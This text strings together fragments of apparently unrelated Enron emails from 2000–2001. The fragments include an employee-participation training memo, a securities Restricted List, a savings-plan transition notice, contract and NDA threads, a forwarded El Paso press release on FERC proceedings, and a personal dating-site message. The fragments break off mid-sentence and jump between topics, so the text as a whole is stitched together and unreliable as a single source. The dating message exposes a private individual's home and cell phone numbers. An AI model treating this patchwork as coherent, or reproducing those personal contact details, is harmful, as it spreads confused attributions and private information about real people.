only complete draft that is available, albeit in pieces.  I suggest you start 
with the last one listed below P&D Site maps.ppt and then progress through 
them in order 1,2,3,4,5.

P&D  was develop as a response to three of the 5 core ETC (Now known as the 
Pulse) questions identified by Enron for improvement. They are: 

  Most employees feel free to voice their opinions openly 
  My operating company does a good job acting on suggestions of employees
  Employees are encourage to challenge established 
procedures/policies/guidelines

Participation & Dissent know as "P&D" is an unique Enron created tool that is 
designed to provide our employees with a creative, free wheeling, 
non-bureaucratic vehicle for solving problems, addressing issues, enhancing 
decision making and developing new business ideas/opportunities.   One 
purpose of "P&D" is to create an atmosphere where employees can feel real 
ownership for decisions and express their views in a challenging and 
passionate way. "P&D" sessions are meant to focus on results and assist in 
producing measurable performance improvements.  "P&D" sessions are to assist 
our employees in driving change in an organized, efficient and effective 
manner.  It will help us leverage off our own best practices to produce 
faster results that positively impact our return on invested capital. At 
Enron we give our employees the power to dissent and with that power comes 
the obligation to participate in providing solutions/ideas. 

If you have any questions about this material, please feel free to contact 
Kirk McDaniel or myself.  We will be happy to answer your questions and 
provide additional context for the effort.

The only other thing we would like you to do prior to attending the session 
is to identify a potential P&D intervention within your own organization.  
This will provide you with a "real" effort to begin planning for at the 
session and make the application of the ideas directly actionable for you.

We look forward to seeing you at the meeting.
            Dick Amabile

Please get involved here and let these people know this. Tx Rick

Start Date: 12/30/01; HourAhead hour: 11;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2001123011.txt

Neither ENA/RAC/EGF employees nor family members or others living in their 
household or financially dependent on the ENA/RAC/EGF employee may purchase 
or sell securities of any entity (or derivatives thereof) listed on the 
Restricted List for your or their personal or related accounts or recommend 
the purchase or sale of such securities to any person, except with the prior 
approval of the Compliance Department in consultation with the ENA Legal 

In addition to the trading restrictions above, should you at any time possess 
non-public material information about any public company, you, your family 
members and anybody that is financially dependent on you, are restricted from 
trading in that issue, and you may not disclose the non-public material 
information to anyone that does not have a business need to know.

Company Name Stock Symbol

3 TEC Energy Corp.       TTEN
Active Power ACPW
Adrian Resources ADRRF
Beau Canada Exploration Ltd BAU CN
Belco Oil & Gas Corporation BOG
Bonus Resource Services Corp BOU
Brigham Exploration BEXP
CanFibre Group Ltd. CFGL
Carrizo Oil & Gas Inc. CRZO
Crown Energy CROE
CyNet, Inc. CYNE
Cypress Energy CYZ
FirstWorld Communications Inc. FWIS
FuelCell Energy, Inc. FCEL
Hanover Compressor Co. HC
ICE Drilling Enterprises Inc. IDF
Industrial Holdings, Inc. IHII
Inland Resources, Inc. INLN
Kafus Environmental Industries, Inc. KS
Nakornthai Strip Mill Public Co Ltd NSM SET
Paladin Resources PLC PLR LD 
Paradigm Geophysical PGEOF
Place Resources, Inc. PLG CN
Queen Sand Resources, Inc. QSRI
Quicksilver Resources Inc. KWK
Saxon Petroleum, Inc. SXN CN
Southwest Royalties SWROY
Startech SEH CN
Syntroleum Corp. SYNM
Tejon Ranch Corp. TRC
Tetonka Drilling TDI
TransCoastal Marine Services, Inc. TCMS

The Restricted List is solely for the internal use of ENA/RAC/EGF.  No one 
may engage in discussions regarding whether a security is or is not on the 
Restricted List with persons outside ENA/RAC/EGF without specific clearance 
from the Compliance Department in consultation with the ENA Legal Department.

In addition to the above, you are reminded that pursuant to Enron Corp.'s 
Risk Management Policy ("Policy"), no ENA/RAC/EGF employee may engage in the 
trading of any "Position"  ("Position" means any  commodity, financial 
instrument, security, equity, financial asset or liability that are 
authorized for trading in 
the                                                                           
                                                                              
Policy for the benefit of any party other than ENA/RAC/EGF, whether for 
his/her own account or the account of any third party, where such Position 
relates to (i) any commodity,  financial instrument, security, equity, 
financial asset or liability which falls within such employee's 
responsibility at ENA/RAC/EGF or (ii) any energy commodity.

The prohibitions listed above do not replace or modify the policies set forth 
in ENA's Policies and Procedures Regarding Confidential Information and 
Securities Trading, Enron Corp.'s Risk Management Policy, or Enron Corp.'s 
Conduct of Business Affairs.  Should you have any questions regarding the 
above, please contact me at ext. 31939.

----- Forwarded by Tana Jones/HOU/ECT on 02/22/2001 05:40 PM -----

	02/22/2001 05:25 PM
		 
Cynthia Clark/Corp/Enron@ENRON, Enron Europe Global Contracts and Facilities, 
Enron Europe Global CounterParty/LON/ECT@ECT, Stephanie Sever/HOU/ECT@ECT, 
Tom Moran/HOU/ECT@ECT, Claudia Clark/HOU/ECT@ECT, William S 
Bradford/HOU/ECT@ECT, Lisa Lees/HOU/ECT@ECT, Juana Fayett/Corp/Enron@Enron, 
Jana Morse/Corp/Enron@Enron, Trang Le/HOU/ECT@ECT, Paul Maley/LON/ECT@ECT, 
Sonya Clarke/LON/ECT@ECT, Lee Munden/LON/ECT@ECT, Tim Davies/LON/ECT@ECT, 
Karen O'Day/NA/Enron@Enron, Tanya Rohauer/HOU/ECT@ECT, Kelly 
Communications, EOL Call Center, Bernice Rodriguez/HOU/ECT@ECT, Bill D 
Hare/HOU/ECT@ect
		 cc: 
		 Subject: EOL approvals/amendments, 2-22-01

Now here is fine one!
From: amm303@talkmatch.com [mailto:amm303@talkmatch.com]
Sent: Thursday, November 29, 2001 2:48 PM
To: plucci@enron.com
Subject: Hi

Paul, 
Thanks for writing, This is definitely a source for amusement. I too have been playing with this for a short time (about a week). I don't use my computer that often in my work, so I'm kind of new at this stuff. I don't even know how to put my picture in my profile. 
      Sometimes I think I moved to the sleepiest town in Colorado. Everytime I tell someone where I live they say "Superior? Where's That?" 
My favorite Italian Restaurant is in Broomfield, Original Pizza on Midway. Have you been there? 
Yeah lets meet. A drive around the city sounds great and a drink always  helps. 
Wait, How do I know your not the freakish type that might try and take advantage of me. After all, you know this city better than I do. Humm, This Could be Trouble. 
Why don't you give me a call and I can try to size you up on the phone. 
Home # 303-543-1108   Cell# 720-313-4857 
                                                Talk to ya soon 
                                                      Anne. 

********************************************************* 

IMPORTANT TIPS TO REMAIN ANONYMOUS AT Love@AOL by Match.com: 

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October 26 is fast approaching!  

Mark your calendar-- 
	as the Enron Corp. Savings Plan moves to a new administrator!

As a Savings Plan Participant, Friday, October 26 at 3:00pm CST will be your last day to:

?    Transfer Investment Fund Balances and make Contribution Allocation Changes
?	Change your Contribution Rate for the November 15th payroll deductions
?	Enroll if you were hired before October 1

TWO important reminders: 

?    Vanguard Lifestrategy investment options  are being replaced with Fidelity Freedom funds and;  
?	Your funds will remain invested in the funds chosen as of 3:00pm CST until 8:00 am November 20.  

At 8:00 am CST, November 20 the Savings Plan system re-opens with great new features.  

Should you need assistance during the transition period, call ext. 3-7979 and press Option 6.  This option will be available from 8:00am CST October 29 until 5:00pm CST November 19.

Enron Benefits... keeping pace with your lifestyle.

Glenda,
Hope everything is going well for you guys.  I just wanted to take a minute 
and thank you for the easter  gift you sent Jackson.  It was very 
thoughtful.  He has enjoyed coloring the book and everything else he can get 
his hands on.  He also ate all of the chocolate as fast as he could.  He is 
getting really big and really independent.  We are headed to Jazz fest this 
weekend in New Orleans, I am sure he will really enjoy it this year.  Take 
care and we will talk to you soon.  Thanks again.
Love,
Jackson, Ashley & Phillip

Reply from PALMER MARK  is No to What's going on? Talked to Kendall. Good news?-ric

What's going on? Talked to Kendall. Good news?-richard.shapiro@enron.com

Mark:
FYI.
Carol
----- Forwarded by Carol St Clair/HOU/ECT on 06/02/2000 03:57 PM -----

	Gaurav Babbar
	06/02/2000 01:31 PM
		 
		 To: Bill Windle/Corp/Enron@Enron, Leslie Hansen/HOU/ECT@ECT, Carol St 
Clair/HOU/ECT@ECT
		 cc: 
		 Subject: RE: EOL procedures

Carol,

I spoke with David Forster about the procedures for the auction and the 
possibility to include a different GTC.  According to him this should not be 
an issue and that we don't need to get Mark Taylor's approval, as this has 
already been cleared by him for other transactions.  I am going to meet with 
the EOL people again and I will forward you and the team any changes in the 
procedures if they arise.

Gaurav

We would prefer physical rights that we can take day-ahead and/or real-time (5 minutes ahead, if possible).   Rather than an obligation (like FTR's), we prefer an option (spread on pricing that can only be positive when exercised).
 
I would want to condition the transaction on having one RTO in the NE with LMP pricing in effect for the entirie NE market on or before 1/1/2003.   Assuming we get over those hurdles, this would likely be viewed as a capital project internally (fixed cost structure), therefore, we need to earn a minimum of 25% expected return (after credit).
 
Obviously, there is a huge unknown on the CT vs. Long Island forward curve with the changing market conditions.   This makes pricing this deal extremely difficult, particulary with the returns we would need to show.
 
Call me with any additional questions.

From: Llodra, John 
Sent: Monday, August 06, 2001 11:40 AM
To: Davis, Mark Dana; Presto, Kevin M.
Subject: Discuss CT-Long Island Transmission play

Dana/Kevin
 
I would like to chat with both of you regarding what specific interests the desk would have in securing transmission rights between CT and Long Island.
 
As you may recall, NU is proposing to build this line on a merchant basis, and are seeking proposals on 8/17/01 (one week from this coming Friday).
 
My thinking is we may want to bid for some capacity on this line outright (how many MW? what term?), and potentially consider some more innovative structures such as:
 
Bring some debt or mezzanine funding to the table to help get the project financed, and get some options to take capacity on the line in return (what type of optionality -- desired term, preference for physical rights or financial settlements based on LMPs, etc -- would we find most valuable?) 
Provide hedging products such as a CT-LI spread collar to enhance NU's ability to finance the project -- e.g., sell them a put option on the CT-LI bi-directional spread to insure some minimum cash flow on the line, in return for them selling us a call on the spread.

I am beginning to work with structuring to pull some values together, but I wanted to get your input on how to proceed.  Can we plan to speak sometime today/tomorrow?  Please let me know what times work for the two of you.  Thanks

John

The request has been completed with all resources requested either completed 
or rejected. You can view the details of the  request by clicking 
http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000012683&Page=
MyReq.

fyi, rick
---------------------- Forwarded by Rick Buy/HOU/ECT on 11/21/2000 11:02 AM 

11/21/2000 09:53 AM
cc: Rebecca Carter/Corp/Enron@ENRON 
Subject: Board Meeting

Rick, I need your view on which of these deals need to go through the board:

 - Tex Mex (ERCOT to Mexico transmission line with term PPA with Desarco)
 - Ahlstrom (QF Purchase)
 - CRRA/Fuel Cell Energy (fuel cell deal with Conn. regulators)
 - sale of Pastoria and LV Cogen (assume not)
 - sale of ECP (assume not)
 - sale of HPL (assume not).

Regards
Delainey

Here are the NDA's.

	10/31/00 09:11 AM
		 
		 cc: 
		 Subject: Re: ENW NDA's to transfer from EBS

Am trying to get copies of the executed NDA's for the counterparties listed 
below.  When you get this can you call me....
----- Forwarded by Tana Jones/HOU/ECT on 10/31/2000 09:10 AM -----

	Dovie Keprta@ENRON COMMUNICATIONS
	10/30/2000 04:51 PM
		
		 To: Tana Jones/HOU/ECT@ECT@ENRON
		 cc: 

Clarifications...
Exodus Communications, Inc. (executed by David Berberian)
SAP - will send information shortly to get that one going.
FinancialSettlementMatrix.com - I think this is the full company name.  I 
will have to clarify tomorrow, if necessary.
inwarehouse.com - I am in posession of executed NDA done through EBS (they 
may not have filed their copy yet, just finished last week).  I will forward 
to you if you'd like

Everything else looks great!  

	10/30/00 04:03 PM
		
		 To: Dovie Keprta/Enron Communications@ENRON COMMUNICATIONS@ENRON
		 cc: 

I checked your list against the EBS list and came up with the information 
below.  Can you verify the full names of the companies below.  Upon receipt, 
I will request copies of existing NDA's from EBS.

Thanks!

	10/30/2000 02:14 PM
		 
		 cc: 
		 Subject: ENW NDA's to transfer from EBS

Tana-

Here are the companies that we are currently talking with that require an 
NDA.  I believe that all of these are covered under NDA via EBS.

I assume it's common practice to have to go through this process due to our 
group's move from one company to another, but have been asked by one of our 
originators if there's a way to work around it;  the point being that it's an 
inconvenience to the counterparty to jump through another hoop because of our 
situation.  

Let me know if there's anything I can do to help you!

-Dovie

Ariba, Inc. - draft sent 8/14/00
Commerce One, Inc. - bilateral executed
Exodus-need to know full name of your customer
Financial Settlement Matrix-nothing
i2 Technologies-in progress
Interliant, Inc. - draft sent 5/5/00
inwarehouse.com-nothing
Oracle Corporation - executed bilateral
Sabre Corporation - executed bilateral
SAP-nothing, need the fully name of your customer

Mark:
Here is a first cut at where things stand on projects that I am handling.  I 
will continue to update it as long as I am here, but thought you should have 
it just in case.  All of these files are on top of the file cabinets near the 
window.

  Carol

Hi Jamie,

Tried to call you today to keep in touch but the phone just rang. Hope you 
are enjoying Indosuez.  I have announced that I am leaving Enron at the end 
of February when my contract runs out.  With them getting out of 
international infrastructure it is time to move on.  I am going to retire for 
a while and see how the life of leisure suits me.   Give me a call when you 
have a minute (713-646-7582).

Regards,

Rob 

"Jamie MABILAT" <jamie.mabilat@indosuez.co.uk> on 08/02/2000 03:51:48 AM
To: robert.gay@enron.com, joseph.galan@enron.com, stephen.gray@enron.com
cc:  

Subject: Update

Hi guys,

To keep you au fait with my latest adventures, I decided to leave Dresdner
Kleinwort Benson as a result of I what I perceived to be increasing 
uncertainty
on the investment bank's future in the context of its' failed merger(s). So I
have now joined Credit Agricole Indosuez's project finance group here in 
London.
Not quite the outfit of a DrKB but a strong franchise in project finance and a
very talented, motivated team...plus I missed project finance!

My details are now:
Tel. (44) 20 7971 4029
Mob. (44) 7712 76 4343
e-mail: jamie.mabilat@indosuez.co.uk

Hope all is well with y'all. Keep in touch.

Jamie.

"This E-Mail is not intended to create a legal relationship between Credit 
Agricole Indosuez and the recipient. Credit Agricole Indosuez is regulated by 
the SFA for the conduct of investment business in the UK.  The information 
contained in this E-mail is intended for the named recipient(s) only.  It may 
contain certain privileged and confidential information or information which 
is otherwise protected from disclosure and further
dissemination by you could have adverse legal consequences.  If you are not 
the intended recipient, you must not copy, distribute or take action in 
reliance on this information"

Thanks for the update and an the encouragement.

From: =09"JOHN KLAUBERG" <jklauber@LLGM.COM>@ENRON [mailto:IMCEANOTES-+22JO=
HN+20KLAUBERG+22+20+3Cjklauber+40LLGM+2ECOM+3E+40ENRON@ENRON.com]=20
Sent:=09Friday, August 10, 2001 9:07 PM
To:=09Sanders, Richard B.
Subject:=09Fwd: El Paso responds...

Richard:  fyi, I thought I would forward the attached copy of an El Paso pr=
ess release that our Firm librarian forwarded to me about El Paso's respons=
e to certain press reports regarding its case at FERC.  I hope that you are=
 hanging in there.  John
=3D=3D=3D
This e-mail, including attachments, contains information that is confidenti=
al and may be protected by the attorney/client or other privileges.  This e=
-mail, including attachments, constitutes non-public information intended t=
o be conveyed only to the designated recipient(s).  If you are not an inten=
ded recipient, please delete this e-mail, including attachments, and notify=
 me.  The unauthorized use, dissemination, distribution or reproduction of =
this e-mail, including attachments, is prohibited and may be unlawful.

=3D=3D=3D
Date: Fri, 10 Aug 2001 15:56:41 -0400
From: "DOUGLAS  CINQUE" <DVCINQUE@LLGM.COM>
To: "JOHN KLAUBERG" <JKLAUBER@LLGM.COM>
Subject: El Paso responds...

El Paso Corporation Responds to Mischaracterizations and Inaccurate Reports=
 Of FERC Hearing
HOUSTON, Aug. 10 /PRNewswire/ -- El Paso Corporation (NYSE: EPG - news) bel=
ieves that it is necessary to respond to continuing mischaracterizations an=
d inaccurate press reports regarding the recently completed Federal Energy =
Regulatory Commission (FERC) hearing in which it participated. This distort=
ed coverage has fostered unwarranted fears in the marketplace fueled by mis=
understandings about the nature of the FERC proceeding, the testimony and e=
vidence presented, and the applicable regulatory standards.

``I am very concerned that the investing public has been misled by recent r=
eports describing the current state of a FERC proceeding and quoting commen=
ts made by the presiding FERC administrative law judge,'' said William A. W=
ise, chairman, president, and chief executive officer of El Paso Corporatio=
n. ``These reports have seriously mischaracterized El Paso's actions and th=
e legal standards by which those actions must be measured. I am confident t=
hat once the facts are fairly evaluated and the appropriate legal standards=
 are applied, El Paso will be vindicated. Despite the heated rhetoric by th=
e complaining parties and comments by the administrative law judge himself,=
 El Paso believes as a matter of law and fact that the complaining parties =
have not met their burden of proof and no burdens of proof have shifted. No=
 other legally sustainable conclusion can be reached.''

The following facts are necessary to a complete and accurate understanding =
of this administrative proceeding. In April 2000, the California Public Uti=
lities Commission (CPUC) filed a complaint with the FERC, alleging that El =
Paso Natural Gas Company (EPNG) improperly awarded capacity on its pipeline=
 to an affiliated energy marketing company, El Paso Merchant Energy (EPME).=
 It was also alleged that EPME had improperly been granted a discount on th=
e Mojave pipeline system in violation of the FERC's marketing affiliate rul=
es and had unlawfully exercised market power. For almost a year thereafter,=
 FERC reviewed and evaluated comments submitted by all parties and extensiv=
e evidence and documents that El Paso produced. On March 28, 2001, the FERC=
 issued an order based on this evidence that addressed all three issues.

With respect to the CPUC's allegations regarding violations of the affiliat=
e regulations, FERC ruled, in an unanimous decision, that:

The current El Paso contracts were awarded following an open season that

was conducted in accordance with Commission rules and policies. The

Commission finds no merit in the allegations that the bidding process ...

was skewed to favor El Paso Merchant and that El Paso Merchant possessed

certain information concerning a discount that was not available to other

bidders. Further, the Commission has examined the evidence and does not

find a violation of the Standards of Conduct for Interstate Pipelines

with Marketing Affiliates.

That same order specifically discussed the very telephone transcripts that =
have been the subject of recent press coverage. Notwithstanding certain pub=
lic observations of the administrative law judge in the current hearing, th=
e Commission unanimously concluded that ``the transcripts do not indicate t=
hat Mojave's Transportation Marketing Negotiator agreed to the tiered arran=
gement sought by El Paso Merchant Energy.'' That order unequivocally held t=
hat the conversation reported in the transcripts is not an affiliate standa=
rd violation, concluding that under the marketing affiliate regulations, ``=
Mojave was under no obligation to post affiliate discount information until=
 the time at which gas first flowed under the transaction.''

The market power issues were set for an evidentiary hearing, which commence=
d on May 14, 2001, and concluded in June.

On June 11, 2001, the FERC granted rehearing of its March decision solely t=
o resolve any factual issues raised by the allegations of the CPUC's compla=
int concerning affiliate abuse and violation of the FERC's Standards of Con=
duct. That hearing commenced on August 2 and concluded on August 6. EPNG, E=
PME, and the CPUC each called one witness to testify on these issues. The C=
PUC presented no new facts or evidence and relied solely on the same docume=
nts that the unanimous Commission had ruled failed to prove any of the alle=
ged affiliate violations.

Since the FERC's unanimous March 28 decision was rendered on the basis of t=
he same facts that are now a part of the evidentiary record before the judg=
e, there should be no legal basis for the Commission to change that decisio=
n when the case returns to it.

``Contrary to press reports, El Paso's senior executives did not refuse to =
appear at the hearing,'' said Mr. Wise. ``The judge requested that some exe=
cutives be available to answer his questions, and El Paso made them availab=
le for that purpose. At the appropriate time, El Paso raised several legal =
objections to any further El Paso witnesses being required to testify. Cont=
rary to press reports, the judge agreed with El Paso's arguments and there =
was no further questioning of the executives. The hearing then concluded.''

The evidence in the hearing also establishes that there is no basis for the=
 allegations of market power abuse. During the period from June 2000 to Mar=
ch 2001, when the price of natural gas in California was sharply increasing=
, pipeline capacity was plainly not being withheld from the marketplace. In=
stead, the evidence demonstrates that during this crucial period, 95 percen=
t of the available capacity on EPNG's pipeline was being utilized. In fact,=
 on many days utilization by EPNG's customers amounted to 100 percent of th=
e pipeline's available capacity. During the same period, EPNG's customers u=
tilized approximately 97 percent of the pipeline's available capacity into =
southern California, the region where the complaining parties allege that p=
rices were significantly higher than in the rest of California. Thus, the o=
bjective data conclusively demonstrate that at the times when the complaini=
ng parties allege that pipeline capacity was used to manipulate natural gas=
 prices, the capacity on EPNG's pipeline was not being withheld, and that t=
he high natural gas prices were clearly caused by other factors now widely =
recognized to be responsible for the shortages experienced.

All briefs in the proceeding must be filed by September 7, 2001, and the ju=
dge has stated he will issue his proposed decision by October 9, 2001. In t=
he event that the judge reaches a decision adverse to El Paso on the market=
 power issue, or reaches a different conclusion on the affiliate issues tha=
n was reached by the full Commission in March 2001, El Paso will appeal the=
 decision to the full Commission and, if necessary thereafter, the courts.

``I am confident that, when appropriate legal standards are applied to this=
 case, we will be vindicated. The law and the facts are on our side,'' said=
 Mr. Wise.

El Paso Corporation is committed to meeting energy needs throughout North A=
merica and the world with operations that span the energy value chain from =
wellhead to electron. The company is focused on speeding the development of=
 new energy sources to address critical energy shortages across the globe. =
Visit El Paso at www.elpaso.com .

CAUTIONARY STATEMENT REGARDING FORWARD-LOOKING STATEMENTS

This release includes forward-looking statements and projections, made in r=
eliance on the safe harbor provisions of the Private Securities Litigation =
Reform Act of 1995. The company has made every reasonable effort to ensure =
that the information and assumptions on which these statements and projecti=
ons are based are current, reasonable, and complete. However, a variety of =
factors could cause actual results to differ materially from the projection=
s, anticipated results or other expectations expressed in this release. Whi=
le the company makes these statements and projections in good faith, neithe=
r the company nor its management can guarantee that the anticipated future =
results will be achieved. Reference should be made to the company's (and it=
s affiliates') Securities and Exchange Commission filings for additional im=
portant factors that may affect actual results.

SOURCE: El Paso Corporation

jackasses?  that might not be a word we'd want to use in emails that might, 
shall we say, get into unfriendly hands....

Gary Ackerman <foothill@lmi.net> on 09/05/2000 02:37:49 PM
Please respond to foothill@lmi.net
To: Bill Ross <billr@calpine.com>, Bob Anderson <Robert_Anderson@apses.com>, 
Carolyn Baker <cabaker@duke-energy.com>, Corby Gardin 
<jcgardin@newwestenergy.com>, curt hatton <curt.Hatton@gen.pge.com>, Curtis 
Kebler <Curtis_L_Kebler@reliantenergy.com>, Denice Cazalet 
<dcazalet@apx.com>, Gene Waas <glwaas@calpx.com>, Greg Blue 
<gtbl@dynegy.com>, Jack Pigott <jackp@calpine.com>, Jeff Dasovich 
<jdasovic@enron.com>, Ken Czarnecki <Ken_J_Czarnecki@calpx.com>, Kent 
Wheatland <KEWH@dynegy.com>, "Klemstine, Barbara A(F56661)" 
<barbara_klemstine@apses.com>, Randy Hickok <rjhickok@duke-energy.com>, Rob 
Lamkin <rllamkin@seiworldwide.com>, Rob Nichol <rsnichol@newwestenergy.com>, 
robert berry <berry@apx.com>, Roger Pelote <rpelote@energy.twc.com>, Sue Mara 
<smara@enron.com>, Dan Douglass <douglass@arterhadden.com>, Anne-Lee Tomczyk 
<altomczyk@wptf.org>
cc:  
Subject: URGENT FERC Hearing on Sept 12

They did it!  The jackasses changed the hearing date to Sept 12 as of 3
pm today.  A lady from FERC just called me to let me know.

My suggestion is we cancel our scheduled Board meeting, meet prior to
the 12th, and get our story in line.  Another notice will be published
by FERC regarding participation in the Hearing.

gba

Message-ID: <39B54957.2190A7E6@lmi.net>
Date: Tue, 05 Sep 2000 12:28:29 -0700
From: Gary Ackerman <foothill@lmi.net>
Reply-To: foothill@lmi.net
Organization: Foothill Services
X-Mailer: Mozilla 4.74C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; U; PPC)
X-Accept-Language: en
To: Bill Ross <billr@calpine.com>,  Bob Anderson 
<Robert_Anderson@apses.com>,  Carolyn Baker <cabaker@duke-energy.com>,  Corby 
Gardin <jcgardin@newwestenergy.com>,  curt hatton <curt.Hatton@gen.pge.com>,  
Curtis Kebler <Curtis_L_Kebler@reliantenergy.com>,  Denice Cazalet 
<dcazalet@apx.com>, Gene Waas <glwaas@calpx.com>,  Greg Blue 
<gtbl@dynegy.com>, Jack Pigott <jackp@calpine.com>,  Jeff Dasovich 
<jdasovic@enron.com>,  Ken Czarnecki <Ken_J_Czarnecki@calpx.com>,  Kent 
Wheatland <KEWH@dynegy.com>,  "Klemstine, Barbara A(F56661)" 
<barbara_klemstine@apses.com>,  Randy Hickok <rjhickok@duke-energy.com>,  Rob 
Lamkin <rllamkin@seiworldwide.com>,  Rob Nichol 
<rsnichol@newwestenergy.com>,  robert berry <berry@apx.com>,  Roger Pelote 
<rpelote@energy.twc.com>, Sue Mara <smara@enron.com>,  Dan Douglass 
<douglass@arterhadden.com>,  Anne-Lee Tomczyk <altomczyk@wptf.org>
Subject: dand
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; 
x-mac-creator="4D4F5353"

I just copied from the FERC's web page the following notice.  It appears
that FERC will hae a hearing in San Diego, possibly on Friday, Sept 15.
However, an earlier date is equally likely because all four
Commissioners are testifying at a Congressional Hearing in San Diego on
Sept 11.  I guess we need to agendize this for our next meeting, and if
the FERC holds its hearings on Sept 12, we may need to cancel our Board
meeting, and attend this.  I did call the office of External Affairs at
FERC to register WPTF as a speaker.  They were clueless, but promised to
call me back.

gba

                          UNITED STATES OF AMERICA
                    FEDERAL ENERGY REGULATORY COMMISSION

                        NOTICE OF PUBLIC MEETING ON
                        WHOLESALE POWER MARKETS AND
                    TRANSMISSION SERVICES IN CALIFORNIA

                            (September 1, 2000)

          On September 15, 2000, the Federal Energy Regulatory
     Commission is planning to convene a public meeting in San Diego,
     California to allow interested persons to give the Commission
     their views on recent events in California's wholesale markets.
     While the Commission is finalizing arrangements for a meeting on
     September 15th, the Commission may need to change the meeting to
     a different date within the week of September 11th.  A further
     notice will be issued confirming the date.  The meeting is
     scheduled to begin at 9:00 a.m., at the San Diego Concourse, the
     Copper Room, 202 C Street, San Diego, California 92101.  All
     interested persons may attend the meeting.  The meeting will be
     transcribed.  A separate notice will be issued before the
     meeting, setting forth an agenda and identifying the panels of
     participants.   Additional information may be obtained from the
     Office of External Affairs at (202) 208-0870.  Information also
     may be obtained from the Commission's web page at
     www.ferc.fed.us.

                           Linwood A. Watson, Jr.
                              Acting Secretary

We are pleased to announce the creation of a new group - Asset Marketing - within Enron Americas. The Asset Marketing group will have responsibility for the asset divestment function within Enron Americas and work with Generation Investments on selected portfolio acquisitions as well as managing power origination funding requirements with Treasury.   

Don Miller will head the Asset Marketing group and will report directly to the Office of the Chair, Enron Americas. Joining Don's group will be Stuart Zisman.  Stuart was formerly in ENA Legal, having most recently worked on the sale of ENA's peaker plants with Don.

Do you want someone to attend this on behalf of Enron?
Do you want someone to attend on behalf of Enron?

Subject: PG&E GRC - May 9 meeting

Attached is an invitation to attend a meeting at 10:00 a.m. on May 9, 2001,
at PG&E's offices, located at 77 Beale Street, Conference Room 300, San
Francisco, California. The purpose of the meeting is to discuss the timing
of PG&E's 2002 General Rate Case (GRC) and to explore potential alternatives
to a GRC filing.
You will also receive a hard copy of the invitation in the mail. Meanwhile,
as stated in the invitation, please e-mail Shirley Frederickson at
saf5@pge.com if you plan to attend.
Thank you

 <<invite.doc>>
Patrick Golden
(415) 973-6642

 - invite.doc

----- Forwarded by Shonnie Daniel/HOU/ECT on 09/13/2000 05:42 PM -----

	"HAL HALTOM" <HALTH@andrews-kurth.com>
	09/13/2000 05:35 PM
		 
		 To: <Shonnie.Daniel@enron.com>
		 cc: 
		 Subject: Revised PSA

Attached is a revised draft of the Purchase and Sale Agreement blacklined to 
show changes from the prior draft.

Please call me with any comments.

Hal.

 - bl NBP PSA.doc

Amazon.com logo=09your account
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Melissa:  Brant Reves has just confirmed for me that financial power deals in 
the name of Aquila will change to Utilicorp United Inc. when the ISDA Master 
is signed (any day now).  Of course, the confirm will be an ISDA confirm, as 
well.   SS

Checking to see if you want to go to the meeting.
---------------------- Forwarded by Clement Lau/HOU/ECT on 02/09/2000 05:59 

Bruce Golden@ENRON_DEVELOPMENT
02/09/2000 05:50 PM
To: Clement Lau/HOU/ECT@ECT
cc:  
Subject: Re: Heat rate and Capacity table  

9:30 AM it is - we will meet in Mike Coleman's office on 3AC13

Thanx Bruce

Clement Lau@ECT
02/09/2000 05:30 PM
To: Bruce Golden/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

It 9:30am OK for you? I will go over to your office for the meeting, and 
maybe get Doug and Ben to join us.

02/09/2000 05:07 PM
cc:  

His data was LHV. roughly multiply by 1.11 to get HHV. For some reason 
several of the ENA proposals used LHV, so I though that LHV maybe usual for 
ENA deals.

If you are modeling a long term Enron owned deal then we should model 
degradation on heat rate (Santee Cooper, ReBox). If it is a EPC directly to a 
host (ElectriCities, Springfield, City of Austin), the sale would be new & 
clean but we would model our three year power transaction with just the 
initial heat rate degradation. You and I ought to look at the degradation 
curve that most closely matches and eyeball the year 1, 2 and 3 average 
degradation.

How 'bout in the morning - you pick the time - I have an 11AM tech meeting.

02/09/2000 04:14 PM
cc:  

Subject: Heat rate and Capacity table

Bernstein's model has a table that provide the heat rate and capacity based 
on ISO/90 degrees, chiller/no chiller, gas compression, etc. I am not sure 
whether I should go with these numbers, but I know the heat rate is off 
because I heard that the heat rate is 10,300 HHV instead of 9,300 HHV (unless 
Bernstein's model is in HHV, which I was told was not).

I got your message about not modeling capacity degradation. Should we still 
model heat rate degradation?

Please tell me when you would be available to discuss further. Thanks.

Thanks Lisa!

	Lisa Lees
	11/28/2000 10:07 AM
		 
		 cc: 
		 Subject: EOL Metals Counterparties LTD

Tana,

Here's the list of counterparties that have transacted metals online.  There 
are some US counterparties included here.

Let me know if you have any other questions.

Lisa
---------------------- Forwarded by Lisa Lees/HOU/ECT on 11/28/2000 08:59 AM 
   
	From:  Peter Berzins @ ENRON                           11/28/2000 10:02 AM
	
To: Lisa Lees/HOU/ECT@ECT
cc: Torrey Moorer/HOU/ECT@ECT 
Subject: EOL Metals Counterparties LTD

Dude---- I will be in London in late July. How far is it to Poland?

----- Forwarded by Sarah Novosel/Corp/Enron on 12/13/2000 05:35 PM -----

	"Randall Rich" <rrich@bracepatt.com>
	12/13/2000 05:13 PM
		 
		 To: "Jeffrey Watkiss" <dwatkiss@bracepatt.com>, <jhartso@enron.com>, 
<jsteffe@enron.com>, <llawner@enron.com>, <rebecca.w.cantrell@enron.com>, 
<Richard.b.sanders@enron.com>, <snovose@enron.com>
		 cc: 
		 Subject: Final FIled Version

The filed version of the comments in the San Diego Gas & Electric matter at 
FERC is attached.

 - SANDIEGO.DOC

Mark/Holly,

Vivian
5-3995

Dutch:

We have Dave Wei (x5-3853) working on the PortCalc change and Margie Nguyen 
(x5-3706) working on the Excel to fetch/save the vol. skew matrix.
We should have the Excel ready for testing by Friday, and the PortCalc by 
early next week.

Jeremy
x3-0573

From:  Quigley, Dutch  
Sent: Tuesday, March 06, 2001 8:15 AM
To: Jeremy Wong/HOU/ECT@ENRON
Cc: Maggi, Mike; Griffith, John
Subject: Skew Project

Jeremy,

Can you give me a status report on the skew project along with the contact 
inf. for
the person that is working on the project.

Dutch
3-9257

Hello Sarah:
My name is Jeff Dasovich.  I work for Enron in Enron's San Francisco office.  
Last Friday, the Chairman of our company, Ken Lay, met with Kevin Sharer and 
other CEOs from California to discuss the energy crisis in California and the 
